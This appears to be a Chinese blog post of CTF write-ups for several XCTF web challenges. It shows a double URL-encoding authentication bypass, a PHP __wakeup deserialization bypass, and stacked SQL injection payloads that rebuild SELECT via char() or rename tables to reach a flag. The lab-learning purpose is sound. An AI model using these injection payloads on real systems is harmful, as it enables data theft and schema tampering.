0
点赞
收藏
分享

微信扫一扫

CTF_Web:攻防世界高手区进阶题WP(9-14)

香小蕉 2021-09-21 阅读 98

持续更新ing

0x09 PHP2


题目只有一句话,Can you anthenticate to this website?,其实说实话没什么思路,根据dirsearch的结果,只有index.php存在,里面也什么都没有,各路前辈说index.phps存在源码泄露,于是看了看。


<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

上面这段代码是验证是否通过的条件,简单来说就是传入的id值不等于admin,但在url解码后等于admina%61,传入%61dmin,发现直接被浏览器解码为admin,影响了后续的判断,于是对%再次编码,传入%2561dmin。得到flag。

0x10 unserialize3

打开题目为:

class xctf{ 
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

传入的code只要跳出魔法函数__wakeup即可,wakeup函数在反序列化的对象与真实存在的参数个数不同时会跳过执行,即当前函数中只有一个参数$flag,若传入的序列化字符串中的参数个数为2即可绕过。
写如下代码:

<?php
class xctf{
public $flag = '111';
}
$a = new xctf();
echo serialize($a);

得到结果O:4:"xctf":1:{s:4:"flag";s:3:"111";},将类xctf中的参数1修改为2,提交code,得到flag。
后续会对反序列化知识进行专门的学习,在此先以刷题为主。

0x11 upload1

创建环境失败。
题目是一个js前端验证的上传,抓包修改提交参数或者修改前端js验证都可绕过。

0x12 Web_python_template_injection

创建环境失败。
题目是一个python模板注入(SSTI)的问题,后续会对SSTI进行详细分析,也积累一下知识。

0x13 Web_php_unserialize

创建环境失败。
根据题目可以看出是一个反序列化漏洞,后续也会对这部分内容进行补充,积累基础知识。

0x14 supersqli(easysql)

题目来自于强网杯2019 的easysql,是一个注入题。先看下题目:


通过1'报错,确定存在sql注入。


通过order by判断字段数为2。


在使用union联合查询时发现禁用了大部分的关键词。


在这里其实我没什么好的想法,使用变形绕过select也失败,不断报错,网上的前辈们都讲到了需要使用 堆叠注入 了,那联合查询和堆叠注入到底有什么不同的?
下面的话引用自SQL注入-堆叠注入(堆查询注入),感谢前辈们的总结。

既然堆叠可以使用任意语句进行执行,那首先学习几个常用的在库中的语句。

show databases;显示数据库列表。
show tables;显示当前查询的表。
desc words;获取表结构。
show columns from words;获取表结构。
alter table t1 rename t2;重命名表名。
alter table words change 字段名 新字段名 varchar(100)类型;重命名字段名。

查看所有表名,发现只有1919810931114514words表。

查看words表结构。


查看1919810931114514表结构。


根据查询数据的结构可知,现在使用的是words表,而flag在1919810931114514表中。

array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

到这里其实思路比较明亮,就是要查表中flag字段的值,但是select等关键字被禁用,各路前辈也提供了不同的思路来解决。

  • 一是Lee-404 师傅预定SQL查询。
PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
char()
cancat() //连接字符
char(115,101,108,101,99,116) -->SELECT

最后payload为1';PREPARE name from concat(char(115,101,108,101,99,116),'* from `1919810931114514`');EXECUTE name;# (纯数字的表名要加反引`号

  • 二是Art_Dillon师傅修改默认查询的表。
    预知识为修改表、列名。
rename tables words to words1;修改表名。
alter table words change flag id varchar(100);修改表中列名。

最终payload为1 ' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);#执行成功后,需再次1' or 1=1;#查询所有列信息。

小结

经过近几天题目的练习发现自己对于很多知识都有所欠缺,也正是希望通过练习题目的方式查找自己存在的不足,列下内容,进行逐一学习,下步将对上面所提到的弱类型md5碰撞、php伪协议、反序列化、模板注入(SSTI)等进行学习。
将基础学习补上之后继续刷题。

举报

相关推荐

0 条评论